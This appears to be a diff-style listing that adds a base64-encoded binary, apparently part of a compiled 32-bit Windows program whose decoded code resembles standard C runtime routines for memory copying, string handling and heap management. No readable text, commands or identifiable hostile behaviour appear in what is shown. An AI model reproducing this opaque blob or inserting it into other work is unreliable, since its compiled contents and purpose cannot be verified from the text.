+FZBgABBdW8NqAVjCDAChsH8AEIP4AXQNhcB1KoM9tH8AEAF1IWj8AAAA6BgAAAChBIEAEFmFwHQC +/9Bo/wAAAOgCAAAAWcNVi+yB7KQBAACLVQgzybgwcwAQOxB0C4PACEE9wHMAEHzxVovxweYDO5Yw +cwAQD4UcAQAAobB/ABCD+AEPhOgAAACFwHUNgz20fwAQAQ+E1wAAAIH6/AAAAA+E8QAAAI2FXP7/ +/2gEAQAAUGoA/xV8YAAQhcB1E42FXP7//2hIZAAQUOgKCgAAWVmNhVz+//9XUI29XP7//+hVBQAA +QFmD+Dx2KY2FXP7//1DoQgUAAIv4jYVc/v//g+g7agMD+GhEZAAQV+jIGgAAg8QQjYVg////aChk +ABBQ6LQJAACNhWD///9XUOi3CQAAjYVg////aCRkABBQ6KYJAAD/tjRzABCNhWD///9Q6JQJAABo +ECABAI2FYP///2j8YwAQUOjcGQAAg8QsX+smjUUIjbY0cwAQagBQ/zbotQQAAFlQ/zZq9P8VbGAA +EFD/FSRgABBeycNWi3QkCDs1gJYAEHNAi86LxsH5BYPgH4sMjYCVABCNBMD2RIEEAXQlV1boVBwA +AP90JBj/dCQYVugoAAAAVov46J0cAACDxBSLx19ew+heGwAAxwAJAAAA6FwbAACDIACDyP9ew1aL +dCQIV1bo0BsAAIP4/1l1Deg0GwAAxwAJAAAA6y3/dCQUagD/dCQYUP8VoGAAEIv4g///dQj/FRhg +ABDrAjPAhcB0DFDojRoAAFmDyP/rH4vOg+YfwfkFi8aLDI2AlQAQjQTAgGSBBP2NRIEEi8dfXsNW +i3QkCDs1gJYAEHNAi86LxsH5BYPgH4sMjYCVABCNBMD2RIEEAXQlV1bofBsAAP90JBj/dCQYVugo +AAAAVov46MUbAACDxBSLx19ew+iGGgAAxwAJAAAA6IQaAACDIACDyP9ew1WL7IHsFAQAAFNWVzP/ +OX0QiX34iX3wdQczwOlmAQAAi0UIwfgFjRyFgJUAEItFCIPgH400wIsDweYC9kQwBCB0DmoCV/91 +COjb/v//g8QMiwMDxvZABIAPhMEAAACLRQw5fRCJRfyJfQgPhuoAAACNhez7//+LTfwrTQw7TRBz +KYtN/P9F/IoJgPkKdQf/RfDGAA1AiAhAi8iNlez7//8ryoH5AAQAAHzMi/iNhez7//8r+I1F9GoA +UI2F7Pv//1dQiwP/NDD/FSRgABCFwHRDi0X0AUX4O8d8C4tF/CtFDDtFEHKKM/+LRfg7xw+FkAAA +ADl9CHRiagVeOXUIdUzobhkAAMcACQAAAOhsGQAAiTDrQf8VGGAAEIlFCOvHjU30V1H/dRD/dQz/ +MP8VJGAAEIXAdAuLRfSJfQiJRfjrp/8VGGAAEIlFCOuc/3UI6KwYAABZg8j/6yyLA/ZEMARAdAyL +RQyAOBoPhKr+///o/xgAAMcAHAAAAOj9GAAAiTjr0itF8F9eW8nD/wUIgQAQaAAQAADozAUAAFmL +TCQEhcCJQQh0DYNJDAjHQRgAEAAA6xGDSQwEjUEUiUEIx0EYAgAAAItBCINhBACJAcOLRCQEOwWA +lgAQcgMzwMOLyIPgH8H5BY0EwIsMjYCVABCKRIEEg+BAw6FglQAQVmoUhcBedQe4AAIAAOsGO8Z9 +B4vGo2CVABBqBFDocwQAAFmjSIUAEIXAWXUhagRWiTVglQAQ6FoEAABZo0iFABCFwFl1CGoa6O/n +//9ZM8m4wHMAEIsVSIUAEIkEEYPAIIPBBD1AdgAQfOozybrQcwAQi/GLwcH+BYPgH4s0tYCVABCN +BMCLBIaD+P90BIXAdQODCv+DwiBBgfowdAAQfNFew+gtGgAAgD3wfwAQAHQF6RQZAADDi0QkBLnA +cwAQO8FyFz0gdgAQdxArwcH4BYPAHFDoRgMAAFnDg8AgUP8VpGAAEMOLRCQEg/gUfQuDwBxQ6CcD +AABZw4tEJAiDwCBQ/xWkYAAQw4tEJAS5wHMAEDvBchc9IHYAEHcQK8HB+AWDwBxQ6FUDAABZw4PA +IFD/FahgABDDi0QkBIP4FH0Lg8AcUOg2AwAAWcOLRCQIg8AgUP8VqGAAEMPMzMzMzMzMzMzMi0wk +BPfBAwAAAHQUigFBhMB0QPfBAwAAAHXxBQAAAACLAbr//v5+A9CD8P8zwoPBBKkAAQGBdOiLQfyE +wHQyhOR0JKkAAP8AdBOpAAAA/3QC682NQf+LTCQEK8HDjUH+i0wkBCvBw41B/YtMJAQrwcONQfyL +TCQEK8HDVYvsU1a+/IIAEFdW/xWwYAAQiz2sYAAQM9s5HfiCABB0Dlb/12oT6BMCAABZagFb/3UM +/3UI6B4AAABZiUUMhdtZdApqE+hVAgAAWesDVv/Xi0UMX15bXcNVi+yLRQiFwHUCXcODPZSBABAA +dRJmi00MZoH5/wB3OWoBiAhYXcONTQiDZQgAUWoA/zVEfQAQUI1FDGoBUGggAgAA/zWkgQAQ/xUc +YAAQhcB0BoN9CAB0DujfFQAAxwAqAAAAg8j/XcPMzMxTVotEJBgLwHUYi0wkFItEJBAz0vfxi9iL +RCQM9/GL0+tBi8iLXCQUi1QkEItEJAzR6dHb0erR2AvJdfT384vw92QkGIvIi0QkFPfmA9FyDjtU +JBB3CHIHO0QkDHYBTjPSi8ZeW8IQAMzMzMzMzMzMU4tEJBQLwHUYi0wkEItEJAwz0vfxi0QkCPfx +i8Iz0utQi8iLXCQQi1QkDItEJAjR6dHb0erR2AvJdfT384vI92QkFJH3ZCQQA9FyDjtUJAx3CHIO +O0QkCHYIK0QkEBtUJBQrRCQIG1QkDPfa99iD2gBbwhAAVos1tGAAEP81tHgAEP/W/zWkeAAQ/9b/ +NZR4ABD/1v81dHgAEP/WXsNWV4s9eGAAEL5weAAQiwaFwHQrgf60eAAQdCOB/qR4ABB0G4H+lHgA +EHQTgf50eAAQdAtQ/9f/NugyAQAAWYPGBIH+MHkAEHzE/zWUeAAQ/9f/NaR4ABD/1/81tHgAEP/X +/zV0eAAQ/9dfXsNVi+yLRQhWgzyFcHgAEACNNIVweAAQdT5XahjoKwEAAIv4WYX/dQhqEejv4/// +WWoR6Mr///+DPgBZV3UK/xW0YAAQiT7rBui3AAAAWWoR6A0AAABZX/82/xWkYAAQXl3DVYvsi0UI +/zSFcHgAEP8VqGAAEF3DU1aLdCQMVw+vdCQUg/7gi953DYX2dQNqAV6Dxg+D5vAz/4P+4Hc6Ox3A +egAQdx1qCehU////U+jtDAAAagmL+Oim////g8QMhf91K1ZqCP81ZJUAEP8VuGAAEIv4hf91IoM9 +sIEAEAB0GVbo6BYAAIXAWXQU66lTagBX6IAWAACDxAyLx19eW8MzwOv4Vot0JAiF9nQ9agno7f7/ +/1boMAkAAFmFwFl0E1ZQ6E4JAABqCeg0////g8QMXsNqCego////WVZqAP81ZJUAEP8VnGAAEF7D +/zWwgQAQ/3QkCOgDAAAAWVnDg3wkBOB3Iv90JAToHAAAAIXAWXUWOUQkCHQQ/3QkBOhNFgAAhcBZ +dd4zwMNWi3QkCDs1wHoAEFd3IWoJ6GL+//9W6PsLAABqCYv46LT+//+DxAyF/3QEi8frHIX2dQNq +AV6Dxg+D5vBWagD/NWSVABD/FbhgABBfXsPMzMzMzMzMzMzMzMzMzMxXi3wkCOtqjaQkAAAAAIv/ +i0wkBFf3wQMAAAB0D4oBQYTAdDv3wQMAAAB18YsBuv/+/n4D0IPw/zPCg8EEqQABAYF06ItB/ITA +dCOE5HQaqQAA/wB0DqkAAAD/dALrzY15/+sNjXn+6wiNef3rA415/ItMJAz3wQMAAAB0GYoRQYTS +dGSIF0f3wQMAAAB17usFiReDxwS6//7+fosBA9CD8P8zwosRg8EEqQABAYF04YTSdDSE9nQn98IA +AP8AdBL3wgAAAP90AuvHiReLRCQIX8NmiReLRCQIxkcCAF/DZokXi0QkCF/DiBeLRCQIX8NVi+yD +7BhTVldqGega/f///3UI6JUBAACL2Fk7HRiDABBZiV0IdQcz9ulwAQAAhdsPhFYBAAAz0rjIeQAQ +ORh0dIPAMEI9uHoAEHzxjUXoUFP/FbxgABBqAV47xg+FIQEAAGpAgyVEhQAQAFkzwL9AhAAQOXXo +86uqiR0YgwAQD4brAAAAgH3uAA+EvAAAAI1N74oRhNIPhK8AAAAPtkH/D7bSO8IPh5QAAACAiEGE +ABAEQOvug2X8AGpAWTPAv0CEABCNNFLzq8HmBKqNnth5ABCAOwCLy3QsilEBhNJ0JQ+2AQ+2+jvH +dxSLVfyKksB5ABAIkEGEABBAO8d29UFBgDkAddT/RfyDwwiDffwEcsGLRQjHBSyDABABAAAAUKMY +gwAQ6M4AAACNtsx5ABC/IIMAEKWlWaNEhQAQpetSQUGAef8AD4VH////i8aAiEGEABAIQD3/AAAA +cvFT6JUAAABZo0SFABCJNSyDABDrB4MlLIMAEAAzwL8ggwAQq6ur6w6DPXCBABAAdA/omQAAAOi9 +AAAA6Yz+//+Dzv9qGejm+///WYvGX15bycOLRCQEgyVwgQAQAIP4/nUQxwVwgQAQAQAAAP8lxGAA +EIP4/XUQxwVwgQAQAQAAAP8lwGAAEIP4/HUPoaSBABDHBXCBABABAAAAw4tEJAQtpAMAAHQig+gE +dBeD6A10DEh0AzPAw7gEBAAAw7gSBAAAw7gECAAAw7gRBAAAw1dqQFkzwL9AhAAQ86uqM8C/IIMA +EKMYgwAQoyyDABCjRIUAEKurq1/DVYvsgewUBQAAjUXsVlD/NRiDABD/FbxgABCD+AEPhRYBAAAz +wL4AAQAAiIQF7P7//0A7xnL0ikXyxoXs/v//IITAdDdTV41V8w+2Cg+2wDvBdx0ryI28Bez+//9B +uCAgICCL2cHpAvOri8uD4QPzqkJCikL/hMB10F9bagCNhez6////NUSFABD/NRiDABBQjYXs/v// +VlBqAehwFAAAagCNhez9////NRiDABBWUI2F7P7//1ZQVv81RIUAEOj9EQAAagCNhez8////NRiD +ABBWUI2F7P7//1ZQaAACAAD/NUSFABDo1REAAIPEXDPAjY3s+v//ZosR9sIBdBaAiEGEABAQipQF +7P3//4iQQIMAEOsc9sICdBCAiEGEABAgipQF7Pz//+vjgKBAgwAQAEBBQTvGcr/rSTPAvgABAACD ++EFyGYP4WncUgIhBhAAQEIrIgMEgiIhAgwAQ6x+D+GFyE4P4encOgIhBhAAQIIrIgOkg6+CAoECD +ABAAQDvGcr5eycODPYiWABAAdRJq/egY/P//WccFiJYAEAEAAADDzMzMzMzMzMzMzMzMVYvsV1aL +dQyLTRCLfQiLwYvRA8Y7/nYIO/gPgngBAAD3xwMAAAB1FMHpAoPiA4P5CHIp86X/JJUoPwAQi8e6 +AwAAAIPpBHIMg+ADA8j/JIVAPgAQ/ySNOD8AEJD/JI28PgAQkFA+ABB8PgAQoD4AECPRigaIB4pG +AYhHAYpGAsHpAohHAoPGA4PHA4P5CHLM86X/JJUoPwAQjUkAI9GKBogHikYBwekCiEcBg8YCg8cC +g/kIcqbzpf8klSg/ABCQI9GKBogHRsHpAkeD+QhyjPOl/ySVKD8AEI1JAB8/ABAMPwAQBD8AEPw+ +ABD0PgAQ7D4AEOQ+ABDcPgAQi0SO5IlEj+SLRI7oiUSP6ItEjuyJRI/si0SO8IlEj/CLRI70iUSP +9ItEjviJRI/4i0SO/IlEj/yNBI0AAAAAA/AD+P8klSg/ABCL/zg/ABBAPwAQTD8AEGA/ABCLRQhe +X8nDkIoGiAeLRQheX8nDkIoGiAeKRgGIRwGLRQheX8nDjUkAigaIB4pGAYhHAYpGAohHAotFCF5f +ycOQjXQx/I18Ofz3xwMAAAB1JMHpAoPiA4P5CHIN/fOl/P8klcBAABCL//fZ/ySNcEAAEI1JAIvH +ugMAAACD+QRyDIPgAyvI/ySFyD8AEP8kjcBAABCQ2D8AEPg/ABAgQAAQikYDI9GIRwNOwekCT4P5 +CHK2/fOl/P8klcBAABCNSQCKRgMj0YhHA4pGAsHpAohHAoPuAoPvAoP5CHKM/fOl/P8klcBAABCQ +ikYDI9GIRwOKRgKIRwKKRgHB6QKIRwGD7gOD7wOD+QgPglr////986X8/ySVwEAAEI1JAHRAABB8 +QAAQhEAAEIxAABCUQAAQnEAAEKRAABC3QAAQi0SOHIlEjxyLRI4YiUSPGItEjhSJRI8Ui0SOEIlE +jxCLRI4MiUSPDItEjgiJRI8Ii0SOBIlEjwSNBI0AAAAAA/AD+P8klcBAABCL/9BAABDYQAAQ6EAA +EPxAABCLRQheX8nDkIpGA4hHA4tFCF5fycONSQCKRgOIRwOKRgKIRwKLRQheX8nDkIpGA4hHA4pG +AohHAopGAYhHAYtFCF5fycNoQAEAAGoA/zVklQAQ/xW4YAAQhcCjFIMAEHUBw4MlDIMAEACDJRCD +ABAAagGjCIMAEMcFAIMAEBAAAABYw6EQgwAQjQyAoRSDABCNDIg7wXMUi1QkBCtQDIH6AAAQAHIH +g8AU6+gzwMNVi+yD7BSLVQyLTQhTVotBEIvyK3EMi1r8g8L8V8HuD4vOi3r8ackEAgAAS4l9/I2M +AUQBAACJXfSJTfCLDBP2wQGJTfh1f8H5BGo/SV+JTQw7z3YDiX0Mi0wTBDtMEwh1SItNDIP5IHMc +vwAAAIDT741MAQT31yF8sET+CXUri00IITnrJIPB4L8AAACA0++LTQyNTAEE99chvLDEAAAA/gl1 +BotNCCF5BItMEwiLfBMEiXkEi0wTBIt8EwgDXfiJeQiJXfSL+8H/BE+D/z92A2o/X4tN/IPhAYlN +7A+FoAAAACtV/ItN/MH5BGo/iVX4SVo7yolNDHYFiVUMi8oDXfyL+4ld9MH/BE87+nYCi/o7z3Rr +i034i1EEO1EIdUiLTQyD+SBzHLoAAACA0+qNTAEE99IhVLBE/gl1K4tNCCER6ySDweC6AAAAgNPq +i00MjUwBBPfSIZSwxAAAAP4JdQaLTQghUQSLTfiLUQiLSQSJSgSLTfiLUQSLSQiJSgiLVfiDfewA +dQk5fQwPhIkAAACLTfCNDPmLSQSJSgSLTfCNDPmJSgiJUQSLSgSJUQiLSgQ7Sgh1Y4pMBwSD/yCI +TQ/+wYhMBwRzJYB9DwB1DrsAAACAi8/T64tNCAkZuwAAAICLz9PrjUSwRAkY6ymAfQ8AdRCNT+C7 +AAAAgNPri00ICVkEjU/gvwAAAIDT742EsMQAAAAJOItd9ItF8IkaiVwT/P8ID4X6AAAAoQyDABCF +wA+E3wAAAIsNBIMAEIs9mGAAEMHhDwNIDLsAgAAAaABAAABTUf/Xiw0EgwAQoQyDABC6AAAAgNPq +CVAIoQyDABCLDQSDABCLQBCDpIjEAAAAAKEMgwAQi0AQ/khDoQyDABCLSBCAeUMAdQmDYAT+oQyD +ABCDeAj/dWxTagD/cAz/16EMgwAQ/3AQagD/NWSVABD/FZxgABChEIMAEIsVFIMAEI0EgMHgAovI +oQyDABAryI1MEexRjUgUUVDoHw4AAItFCIPEDP8NEIMAEDsFDIMAEHYDg+gUiw0UgwAQiQ0IgwAQ +6wOLRQijDIMAEIk1BIMAEF9eW8nDVYvsg+wUoRCDABCLFRSDABBTVo0EgFeNPIKLRQiJffyNSBeD +4fCJTfDB+QRJg/kgfQ6Dzv/T7oNN+P+JdfTrEIPB4IPI/zP20+iJdfSJRfihCIMAEIvYO9+JXQhz +GYtLBIs7I034I/4Lz3ULg8MUO138iV0Icuc7Xfx1eYvaO9iJXQhzFYtLBIs7I034I/4Lz3UFg8MU +6+Y72HVZO138cxGDewgAdQiDwxSJXQjr7Ttd/HUmi9o72IldCHMNg3sIAHUFg8MU6+472HUO6DgC +AACL2IXbiV0IdBRT6NoCAABZi0sQiQGLQxCDOP91BzPA6Q8CAACJHQiDABCLQxCLEIP6/4lV/HQU +i4yQxAAAAIt8kEQjTfgj/gvPdTeLkMQAAACLcEQjVfgjdfSDZfwAjUhEC9aLdfR1F4uRhAAAAP9F +/CNV+IPBBIv+IzkL13Tpi1X8i8oz/2nJBAIAAI2MAUQBAACJTfSLTJBEI851DYuMkMQAAABqICNN ++F+FyXwF0eFH6/eLTfSLVPkEiworTfCL8YlN+MH+BE6D/j9+A2o/Xjv3D4QNAQAAi0oEO0oIdWGD +/yB9K7sAAACAi8/T64tN/I18OAT304ld7CNciESJXIhE/g91OItdCItN7CEL6zGNT+C7AAAAgNPr +i038jXw4BI2MiMQAAAD30yEZ/g+JXex1C4tdCItN7CFLBOsDi10Ii0oIi3oEg334AIl5BItKBIt6 +CIl5CA+ElAAAAItN9It88QSNDPGJegSJSgiJUQSLSgSJUQiLSgQ7Sgh1ZIpMBgSD/iCITQt9Kf7B +gH0LAIhMBgR1C78AAACAi87T7wk7vwAAAICLztPvi038CXyIROsv/sGAfQsAiEwGBHUNjU7gvwAA +AIDT7wl7BItN/I28iMQAAACNTuC+AAAAgNPuCTeLTfiFyXQLiQqJTBH86wOLTfiLdfAD0Y1OAYkK +iUwy/It19IsOhcmNeQGJPnUaOx0MgwAQdRKLTfw7DQSDABB1B4MlDIMAEACLTfyJCI1CBF9eW8nD +oRCDABCLDQCDABBWVzP/O8F1MI1EiVDB4AJQ/zUUgwAQV/81ZJUAEP8VzGAAEDvHdGGDBQCDABAQ +oxSDABChEIMAEIsNFIMAEGjEQQAAagiNBID/NWSVABCNNIH/FbhgABA7x4lGEHQqagRoACAAAGgA +ABAAV/8VyGAAEDvHiUYMdRT/dhBX/zVklQAQ/xWcYAAQM8DrF4NOCP+JPol+BP8FEIMAEItGEIMI +/4vGX17DVYvsUYtNCFNWV4txEItBCDPbhcB8BdHgQ+v3i8NqP2nABAIAAFqNhDBEAQAAiUX8iUAI +iUAEg8AISnX0i/tqBMHnDwN5DGgAEAAAaACAAABX/xXIYAAQhcB1CIPI/+mTAAAAjZcAcAAAO/p3 +PI1HEINI+P+DiOwPAAD/jYj8DwAAx0D88A8AAIkIjYj87///iUgEx4DoDwAA8A8AAAUAEAAAjUjw +O8p2x4tF/I1PDAX4AQAAagFfiUgEiUEIjUoMiUgIiUEEg2SeRACJvJ7EAAAAikZDisj+wYTAi0UI +iE5DdQMJeAS6AAAAgIvL0+r30iFQCIvDX15bycNTM9s5HXSBABBWV3VCaJBkABD/FRRgABCL+Dv7 +dGeLNYxgABBohGQAEFf/1oXAo3SBABB0UGh0ZAAQV//WaGBkABBXo3iBABD/1qN8gQAQoXiBABCF +wHQW/9CL2IXbdA6hfIEAEIXAdAVT/9CL2P90JBj/dCQY/3QkGFP/FXSBABBfXlvDM8Dr+MzMzMzM +zMzMzItMJAxXhcl0elZTi9mLdCQU98YDAAAAi3wkEHUHwekCdW/rIYoGRogHR0l0JYTAdCn3xgMA +AAB164vZwekCdVGD4wN0DYoGRogHR4TAdC9LdfOLRCQQW15fw/fHAwAAAHQSiAdHSQ+EigAAAPfH +AwAAAHXui9nB6QJ1bIgHR0t1+ltei0QkCF/DiReDxwRJdK+6//7+fosGA9CD8P8zwosWg8YEqQAB +AYF03oTSdCyE9nQe98IAAP8AdAz3wgAAAP91xokX6xiB4v//AACJF+sOgeL/AAAAiRfrBDPSiReD +xwQzwEl0CjPAiQeDxwRJdfiD4wN1hYtEJBBbXl/DVuh2AAAAi0wkCDP2iQi40HoAEDsIdCKDwAhG +PTh8ABB88YP5E3Iig/kkdx3oQgAAAMcADQAAAF7D6DUAAACLDPXUegAQXokIw4H5vAAAAHIVgfnK +AAAAdw3oFQAAAMcACAAAAF7D6AgAAADHABYAAABew+i52v//g8AIw+iw2v//g8AMw4tMJARWOw2A +lgAQV3NYi8HB+AWNPIWAlQAQi8GD4B+NNMCLB8HmAgPG9kAEAXQ3gzj/dDKDPbR/ABABdR8zwCvI +dBBJdAhJdRNQavTrCFBq9esDUGr2/xXQYAAQiweDDDD/M8DrFuiD////xwAJAAAA6IH///+DIACD +yP9fXsOLRCQEOwWAlgAQcx+LyIPgH8H5BY0EwIsMjYCVABD2RIEEAY0EgXQDiwDD6D/////HAAkA +AADoPf///4MgAIPI/8OLRCQEU4vIg+AfwfkFVleLNI2AlQAQjRyNgJUAEI08wMHnAgP3g34IAHUj +ahHopOr//4N+CABZdQ2NRgxQ/xW0YAAQ/0YIahHo6ur//1mLA41EOAxQ/xWkYAAQX15bw4tEJASL +yIPgH8H5BY0EwIsMjYCVABCNRIEMUP8VqGAAEMNTV2oCM9voSur//1lqA185PWCVABB+XVahSIUA +EIv3weYCiwQGhcB0QfZADIN0DVDo2wgAAIP4/1l0AUOD/xR8KaFIhQAQiwQGg8AgUP8VeGAAEKFI +hQAQ/zQG6Pjq//+hSIUAEFmDJAYARzs9YJUAEHylXmoC6Dvq//9Zi8NfW8NWi3QkCFboIwAAAIXA +WXQFg8j/XsP2Rg1AdA//dhDo6QgAAPfYWV4bwMMzwF7DU1aLdCQMM9tXi0YMi8iD4QOA+QJ1N2ap +CAF0MYtGCIs+K/iF/34mV1D/dhDo9OL//4PEDDvHdQ6LRgyogHQOJP2JRgzrB4NODCCDy/+LRgiD +ZgQAiQZfi8NeW8NqAegCAAAAWcNTVldqAjPbM//oM+n//zP2WTk1YJUAEH50oUiFABCLBLCFwHRf +9kAMg3RZUFbo1uX//6FIhQAQWVmLBLCLSAz2wYN0MIN8JBABdQ9Q6Bz///+D+P9ZdB1D6xqDfCQQ +AHUT9sECdA5Q6AH///+D+P9ZdQIL+KFIhQAQ/zSwVujY5f//WVlGOzVglQAQfIxqAugO6f//g3wk +FAFZi8N0AovHX15bw2oC6LPM//9Zw8zMzMzMzMzMzMyLVCQMi0wkBIXSdEczwIpEJAhXi/mD+gRy +LffZg+EDdAgr0YgHR0l1+ovIweAIA8GLyMHgEAPBi8qD4gPB6QJ0BvOrhdJ0BogHR0p1+otEJAhf +w4tEJATDoayBABCFwHQP/3QkBP/QhcBZdARqAVjDM8DDVYvsav9oqGQAEGicGAAQZKEAAAAAUGSJ +JQAAAACD7BxTVleJZegz/zk9tIEAEHVGV1dqAVtTaKBkABC+AAEAAFZX/xXcYAAQhcB0CIkdtIEA +EOsiV1dTaJxkABBWV/8V2GAAEIXAD4QiAQAAxwW0gQAQAgAAADl9FH4Q/3UU/3UQ6J4BAABZWYlF +FKG0gQAQg/gCdR3/dRz/dRj/dRT/dRD/dQz/dQj/FdhgABDp3gAAAIP4AQ+F0wAAADl9IHUIoaSB +ABCJRSBXV/91FP91EItFJPfYG8CD4AhAUP91IP8V1GAAEIvYiV3kO98PhJwAAACJffyNBBuDwAMk +/Og7CAAAiWXoi8SJRdyDTfz/6xNqAVjDi2XoM/+JfdyDTfz/i13kOX3cdGZT/3Xc/3UU/3UQagH/ +dSD/FdRgABCFwHRNV1dT/3Xc/3UM/3UI/xXcYAAQi/CJddg793Qy9kUNBHRAOX0cD4SyAAAAO3Uc +fx7/dRz/dRhT/3Xc/3UM/3UI/xXcYAAQhcAPhY8AAAAzwI1lyItN8GSJDQAAAABfXlvJw8dF/AEA +AACNBDaDwAMk/OiHBwAAiWXoi9yJXeCDTfz/6xJqAVjDi2XoM/8z24NN/P+Lddg733S0VlP/deT/ +ddz/dQz/dQj/FdxgABCFwHScOX0cV1d1BFdX6wb/dRz/dRhWU2ggAgAA/3Ug/xUcYAAQi/A79w+E +cf///4vG6Wz///+LVCQIi0QkBIXSVo1K/3QNgDgAdAhAi/FJhfZ184A4AF51BStEJATDi8LDVYvs +av9owGQAEGicGAAQZKEAAAAAUGSJJQAAAACD7BhTVleJZeihuIEAEDPbO8N1Po1F5FBqAV5WaKBk +ABBW/xXkYAAQhcB0BIvG6x2NReRQVmicZAAQVlP/FeBgABCFwA+EzgAAAGoCWKO4gQAQg/gCdSSL +RRw7w3UFoZSBABD/dRT/dRD/dQz/dQhQ/xXgYAAQ6Z8AAACD+AEPhZQAAAA5XRh1CKGkgQAQiUUY +U1P/dRD/dQyLRSD32BvAg+AIQFD/dRj/FdRgABCJReA7w3RjiV38jTwAi8eDwAMk/OgKBgAAiWXo +i/SJddxXU1boSvz//4PEDOsLagFYw4tl6DPbM/aDTfz/O/N0Kf914Fb/dRD/dQxqAf91GP8V1GAA +EDvDdBD/dRRQVv91CP8V5GAAEOsCM8CNZcyLTfBkiQ0AAAAAX15bycPMzMzMzFWL7FdWi3UMi00Q +i30Ii8GL0QPGO/52CDv4D4J4AQAA98cDAAAAdRTB6QKD4gOD+QhyKfOl/ySV2FMAEIvHugMAAACD +6QRyDIPgAwPI/ySF8FIAEP8kjehTABCQ/ySNbFMAEJAAUwAQLFMAEFBTABAj0YoGiAeKRgGIRwGK +RgLB6QKIRwKDxgODxwOD+QhyzPOl/ySV2FMAEI1JACPRigaIB4pGAcHpAohHAYPGAoPHAoP5CHKm +86X/JJXYUwAQkCPRigaIB0bB6QJHg/kIcozzpf8kldhTABCNSQDPUwAQvFMAELRTABCsUwAQpFMA +EJxTABCUUwAQjFMAEItEjuSJRI/ki0SO6IlEj+iLRI7siUSP7ItEjvCJRI/wi0SO9IlEj/SLRI74 +iUSP+ItEjvyJRI/8jQSNAAAAAAPwA/j/JJXYUwAQi//oUwAQ8FMAEPxTABAQVAAQi0UIXl/Jw5CK +BogHi0UIXl/Jw5CKBogHikYBiEcBi0UIXl/Jw41JAIoGiAeKRgGIRwGKRgKIRwKLRQheX8nDkI10 +MfyNfDn898cDAAAAdSTB6QKD4gOD+QhyDf3zpfz/JJVwVQAQi//32f8kjSBVABCNSQCLx7oDAAAA +g/kEcgyD4AMryP8khXhUABD/JI1wVQAQkIhUABCoVAAQ0FQAEIpGAyPRiEcDTsHpAk+D+Qhytv3z +pfz/JJVwVQAQjUkAikYDI9GIRwOKRgLB6QKIRwKD7gKD7wKD+QhyjP3zpfz/JJVwVQAQkIpGAyPR +iEcDikYCiEcCikYBwekCiEcBg+4Dg+8Dg/kID4Ja/////fOl/P8klXBVABCNSQAkVQAQLFUAEDRV +ABA8VQAQRFUAEExVABBUVQAQZ1UAEItEjhyJRI8ci0SOGIlEjxiLRI4UiUSPFItEjhCJRI8Qi0SO +DIlEjwyLRI4IiUSPCItEjgSJRI8EjQSNAAAAAAPwA/j/JJVwVQAQi/+AVQAQiFUAEJhVABCsVQAQ +i0UIXl/Jw5CKRgOIRwOLRQheX8nDjUkAikYDiEcDikYCiEcCi0UIXl/Jw5CKRgOIRwOKRgKIRwKK +RgGIRwGLRQheX8nDVot0JAhXg8//9kYMQHQGg2YMAOsXVujC3f//VugQAAAAVov46Abe//+DxAyL +x19ew1aLdCQIV4PP//ZGDIN0NFboWff//1aL+OgsAwAA/3YQ6EQCAACDxAyFwH0Fg8//6xKLRhyF +wHQLUOjZ4f//g2YcAFmDZgwAi8dfXsNTi1wkCDsdgJYAEFZXc3KLw8H4BY08hYCVABCLw4PgH400 +wIsHweYC9kQwBAF0UlPovfX//4sHWfZEMAQBdClT6Gv1//9ZUP8VMGAAEIXAdQr/FRhgABCL8OsC +M/aF9nQV6ML0//+JMOiy9P//xwAJAAAAg87/U+jV9f//WYvG6w7omfT//8cACQAAAIPI/19eW8PM +zMzMzMzMzMzMzItUJASLTCQI98IDAAAAdTyLAjoBdS4KwHQmOmEBdSUK5HQdwegQOkECdRkKwHQR +OmEDdRCDwQSDwgQK5HXSi/8zwMOQG8DR4EDDi//3wgEAAAB0FIoCQjoBdelBCsB04PfCAgAAAHSo +ZosCg8ICOgF10grAdMo6YQF1yQrkdMGDwQLrjMzMzMzMzMzMzMzMzFWL7FYzwFBQUFBQUFBQi1UM +jUkAigIKwHQHQg+rBCTr84t1CIPJ/5BBigYKwHQHRg+jBCRz8ovBg8QgXsnDzMxVi+xXVlOLTRDj +JovZi30Ii/czwPKu99kDy4v+i3UM86aKRv8zyTpH/3cEdARJSffRi8FbXl/Jw8zMzMzMzMzMVYvs +VjPAUFBQUFBQUFCLVQyNSQCKAgrAdAdCD6sEJOvzi3UIigYKwHQKRg+jBCRz841G/4PEIF7Jw8zM +zMzMzFE9ABAAAI1MJAhyFIHpABAAAC0AEAAAhQE9ABAAAHPsK8iLxIUBi+GLCItABFDDVot0JAg7 +NYCWABBzOIvOi8bB+QWD4B+LDI2AlQAQjQTA9kSBBAF0HVdW6Kbz//9W6CgAAABWi/jo9/P//4PE +DIvHX17D6Ljy///HAAkAAADotvL//4MgAIPI/17DVot0JAhXVugq8///g/j/WXQ8g/4BdAWD/gJ1 +FmoC6BPz//9qAYv46Arz//9ZO8dZdBxW6P7y//9ZUP8VLGAAEIXAdQr/FRhgABCL+OsCM/9W6GHy +//+LxoPmH8H4BVmLBIWAlQAQjQz2gGSIBACF/3QMV+i68f//WYPI/+sCM8BfXsNWi3QkCItGDKiD +dB2oCHQZ/3YI6Lbe//9mgWYM9/szwFmJBolGCIlGBF7DzMzMzMzMVYvsV1ZTi3UMi30IjQWMgQAQ +g3gIAHU7sP+L/wrAdC6KBkaKJ0c4xHTyLEE8GhrJgOEgAsEEQYbgLEE8GhrJgOEgAsEEQTjgdNIa +wBz/D77A63jw/wX8ggAQgz34ggAQAH8EagDrFfD/DfyCABBqE+gl3f//xwQkAQAAALj/AAAAM9uQ +CsB0J4oGRoofRzjYdPJQU+itAQAAi9iDxAToowEAAIPEBDjDdNobwIPY/4vYWAvAdQnw/w38ggAQ +6wpqE+g13f//g8QEi8NbXl/Jw1WL7FdWU4tNEAvJD4TpAAAAi3UIi30MjQWMgQAQg3gIAHVOt0Gz +WrYgjUkAiiYK5IoHdCEKwHQdRkc4/HIGONx3AgLmOPhyBjjYdwICxjjEdQ1JddczyTjED4SbAAAA +uf////8PgpAAAAD32emJAAAA8P8F/IIAEIM9+IIAEAB/BGoA6xnw/w38ggAQi9lqE+g13P//xwQk +AQAAAIvLM8Az24v/igYLwIofdCML23QfRkdRUFPovAAAAIvYg8QE6LIAAACDxARZO8N1CUl11TPJ +O8N0Cbn/////cgL32VgLwHUJ8P8N/IIAEOsOi9lqE+g23P//g8QEi8uLwVteX8nDVYvsUYtFCI1I +AYH5AAEAAHcMiw1YdgAQD7cEQetSi8hWizVYdgAQwfkID7bR9kRWAYBedA6AZf4AiE38iEX9agLr 